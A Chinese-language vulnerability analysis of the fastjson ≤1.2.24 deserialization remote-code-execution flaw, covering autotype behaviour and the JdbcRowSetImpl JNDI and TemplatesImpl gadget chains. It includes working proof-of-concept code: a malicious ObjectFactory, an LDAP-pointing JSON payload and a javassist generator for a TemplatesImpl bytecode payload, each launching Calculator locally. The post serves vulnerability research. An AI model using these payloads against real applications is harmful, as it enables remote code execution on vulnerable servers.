fastjson ≤ 1.2.24 反序列化 RCE 漏洞分析

本篇主要分析 fastjson 漏洞成因,以及相关利用链

About fastjson

fastjson是阿里巴巴的开源JSON解析库,主要作用是在 JSON 格式和 JavaBean 之间进行转换

fastjson反序化列框架图如下

fastjson 利用链影响的版本

关于网上有些文章写到最初 fastjson 利用版本为 1.2.22-1.2.24,我对此很疑惑,因为翻看官网的安全公告-security_update_20170315,里面提到了影响版本是 1.2.24以及之前版本,因此不太清楚 1.2.22 这个版本的来源

最近发现fastjson在1.2.24以及之前版本存在远程代码执行高危安全漏洞,为了保证系统安全,请升级到1.2.28/1.2.29/1.2.30/1.2.31或者更新版本。

最终经过 Maven 不停的切换测试以及fastjson wiki的寻找,发现了 fastjson 的这次更新,里面涉及到了的关于 NonPublicField 的反序列化的改动,具体是在 1.2.22 及以上支持,而用到这一点的应该就只有 TemplatesImpl 利用链,下面的 JdbcRowSetImpl 利用链是不受影响的

序列化与反序列化机制

从上图 JSON 模块可以看出来一般我们会用到几个方法

  • 序列化
    • toJSONString()
  • 反序列化
    • JSON.parseObject():返回的是 JSONObject
      • JSON文本解析成 JSONObject 类型:JSON.parseObject("{...}");
      • JSON文本解析成 Demo.class 类:JSON.parseObject("{...}", Demo.class);
    • JSON.parse():返回的是实际类型的对象

以下demo 测试以 fastjson 1.2.24 为例

测试流程参考:https://paper.seebug.org/1192/

深入方法差异,原文总结的已经很好了,这里引用原文的结论:

  • JSON.parse(serializedStr)

    • 在指定了@type 的情况下,自动调用了 User 类默认构造器,User类对应的 setter 方法(setAgesetName),最终结果是 User类的一个实例
    • <= 1.2.25 autotype默认开启
    • 不过值得注意的是 public sex 被成功赋值了,private address 没有成功赋值,不过在1.2.22, 1.1.54.android之后,增加了一个 SupportNonPublicField 特性,如果使用了这个特性,那么 private address就算没有setter、getter也能成功赋值,这个特性也与后面的一个漏洞有关
    • 注意默认构造方法、setter方法调用顺序,默认构造器在前,此时属性值还没有被赋值,所以即使默认构造器中存在危险方法,但是危害值还没有被传入,所以默认构造器按理来说不会成为漏洞利用方法,不过对于内部类那种,外部类先初始化了自己的某些属性值,但是内部类默认构造器使用了父类的属性的某些值,依然可能造成危害
  • JSON.parseObject(serializedStr)

  • 在指定了 @type 的情况下,自动调用了User类默认构造器,User 类对应的 setter 方法(setAgesetName)以及对应的 getter 方法(getAgegetName),最终结果是一个字符串

    • 这里还多调用了getter(注意bool类型的是 is 开头的)方法,是因为parseObject 在没有其他参数时,调用了JSON.toJSON(obj),后续会通过 gettter 方法获取obj属性值:
  • JSON.parseObject(serializedStr, Object.class)

  • 从结果可以看出在指定了 @type 的情况下,这种写法和第一种JSON.parse(serializedStr)写法没有区别

  • JSON.parseObject(serializedStr, User.class)

    • 在指定了 @type 的情况下,自动调用了 User 类默认构造器,User 类对应的 setter 方法(setAgesetName),最终结果是 User 类的一个实例
    • 这种写法明确指定了目标对象必须是 User 类型,如果 @type 对应的类型不是 User 类型或其子类,将抛出不匹配异常,但是,就算指定了特定的类型,依然有方式在类型匹配之前来触发漏洞

setter 跟 getter 的限制

通过前面的测试我们证明 fastjson 有在反序列化中调用 getter、setter、is 方法的特性,但是通过源码分析,其实这个调用是有限制的

先看 setter 的限制

com.alibaba.fastjson.util.JavaBeanInfo#build

  1. 方法名长度 ≥ 4
  2. 非静态方法
  3. 返回类型等于void类型或当前类
  4. 方法名以set开头
  5. 参数个数为1

再看 getter 的限制

  1. 方法名长度 ≥ 4
  2. 非静态方法
  3. 以get开头且第4个字母为大写
  4. 无传入参数
  5. 返回值类型继承自 Collection Map AtomicBoolean AtomicInteger AtomicLong

RCE demo

根据其 fastjson 的反序列化特性,我理解的 fastjson 反序列化攻击面的是在反序列化过程中调用这些 getter、setter、is 方法,而这些方法中往往有一些敏感的操作,可以被直接利用或者作为利用链的一部分来调用

因此我们可以人为构造一个恶意 demo

public class CalcDemo {
public static void main(String[] args) {
String jsonDemo = "{\"@type\":\"com.p2hm1n.fastjsondemo.UserCalc\", \"name\":\"zhangsan\"}";
System.out.println(jsonDemo.getClass());
Object obj = JSON.parseObject(jsonDemo);
System.out.println(obj);
}
}

class UserCalc {
private String name;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
try {
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
}

上述的demo是我们构造的 setter 方法里直接有敏感操作的,下面我们谈一些关于利用链的

需要注意的是 fastjson 1.2.24及之前没有任何防御,并且autotype默认开启

其中主要有两个利用链

  1. JNDI:com.sun.rowset.JdbcRowSetImpl
  2. JDK7u21:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

JdbcRowSetImpl 利用链

利用条件

JdbcRowSetImpl 利用链通用性很强,适用于以下 JSON 反序列化方式

JSON.parse(evil);
JSON.parseObject(evil);
JSON.parseObject(evil, Object.class);

受限同 JNDI 注入 JDK 版本限制相同

img

  • JDK 5u45、6u45、7u21、8u121 开始 java.rmi.server.useCodebaseOnly 默认配置为true
  • JDK 6u132、7u122、8u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false
  • JDK 11.0.1、8u191、7u201、6u211 com.sun.jndi.ldap.object.trustURLCodebase 默认为false

利用链分析

核心原理就是 setter 的调用,因此我们可以实现一个 Level-0 RCE demo

public class JdbcDemo {
public static void main(String[] args) throws SQLException {
JdbcRowSetImpl calcDemo = new JdbcRowSetImpl();
calcDemo.setDataSourceName("ldap://127.0.0.1:1389/Calc");
calcDemo.setAutoCommit(true);
}
}

恶意类

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class Calc implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
Runtime.getRuntime().exec("open -a Calculator");
return null;
}

public static void main(String[] args) {
try {
Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
}

image-20210303213948348

分析一下调用过程

首先 setAutoCommit 会调用 connect

img

后续在 com.sun.rowset.JdbcRowSetImpl#connect 中 lookup 可控,造成了 JNDI 注入,随后的调用链为 JNDI 的调用链

img

跟进 getDataSourceName

img

向上追溯 dataSource 的附值,其来源于 javax.sql.rowset.BaseRowSet#setDataSourceName,也就是我们 POC 里的 setDataSourceName

img

最后可以转换成 fastjson 的 POC

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/#Calc", "autoCommit":true}

img

留疑:https://wx.zsxq.com/dweb2/index/topic_detail/15555884828822

TemplatesImpl 利用链

利用条件

回顾我们 fastjson 在反序列化中调用 getter、setter、is 方法的特性,在无getter、setter方法的时候,NonPublicField 不会被反序列化,如果想要将其反序列化的话需要用到 SupportNonPublicField 这个 Feature,也就对应了上面的 1.2.22 版本改动,相应的实现如下

  1. JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
  2. JSON.parse(text1, Feature.SupportNonPublicField);

JDK 限制为 1.7 全版本,1.8下部分版本也是可以成功的,这里我没展开测试

对应 JDK7u21 的利用链也用到了 TemplatesImpl,但是 7u21 的修复点并不是这里,而是在之后的 AnnotationInvocationHandler,具体可以参看之前的文章,因此这个利用链应该是影响 JDK1.7的

利用链分析

反序列化利用链前面调用的都是 JDK7u21 利用链,这里直接将之前的 RCE demo 搬过来

public class JDemo {
public static void main(String[] args) throws Exception {
// javassist fake Code
templates.getOutputProperties();
}

首先看 getOutputProperties,是满足了 fastjson 调用 getter 的要求的,那么解决一下利用条件里面的 Feature.SupportNonPublicField 的来历

根据其 TemplatesImpl 的源码可以发现这个变量为 private,因此需要利用到这个 Feature 去实现 NonPublicField 的反序列化

那么可以发现这里的变量名是带了 _ 的,是否会调用 getOutputProperties ?

跟进 fastjson 源码对其变量的处理,这里会去除掉 _

javassist 里面生成的 payload 在 7u21 的链中主要限制条件如下,具体分析见前文

  • _bytecodes 类为 AbstractTranslet 的子类
  • _name != null
  • _class == null
  • _tfactory 的值的对象需要拥有 getExternalExtensionsMap 方法

在 fastjson 中,由于 fastjson 源码中会对一些变量进行处理,因此 javassist 所构造的内容可能会有所不同

先看对_tfactory 的处理,7u21 链中由于需要调用 getExternalExtensionsMap 方法,因此 _tfactory 对象需要经过特殊构造

但是在 fastjson 中我们可以直接将其置为空,可以看一下相关的处理

这里会进行一个判断,如果其为空的话就创建一个实例

那么根据其 _tfactory 对象的定义,是有相应的方法的

private transient TransformerFactoryImpl _tfactory = null;

再看一下对 _bytecodes 的处理

com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze 这里调用 bytesValue 方法

com.alibaba.fastjson.parser.JSONScanner#bytesValue 这里对应进行 base64 解码

final POC

public class TemplatesImplDemo {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("TestDemo");
String cmd = "java.lang.Runtime.getRuntime().exec(\"/Applications/Calculator.app/Contents/MacOS/Calculator\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
String b64_targetByteCodes = Base64.encodeBase64String(classBytes);
// format
final String type_class = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String myPOC = "{"+
"\"@type\":\"" + type_class +"\","+
"\"_bytecodes\":[\""+b64_targetByteCodes+"\"],"+
"'_name':'TestDemo',"+
"'_tfactory':{},"+
"'_outputProperties':{}"+
"}\n";
System.out.println(myPOC);
}
}

REF

https://xz.aliyun.com/t/7027

https://xz.aliyun.com/t/7107

https://paper.seebug.org/1319/

https://paper.seebug.org/1274/

https://paper.seebug.org/1236/

https://paper.seebug.org/1192/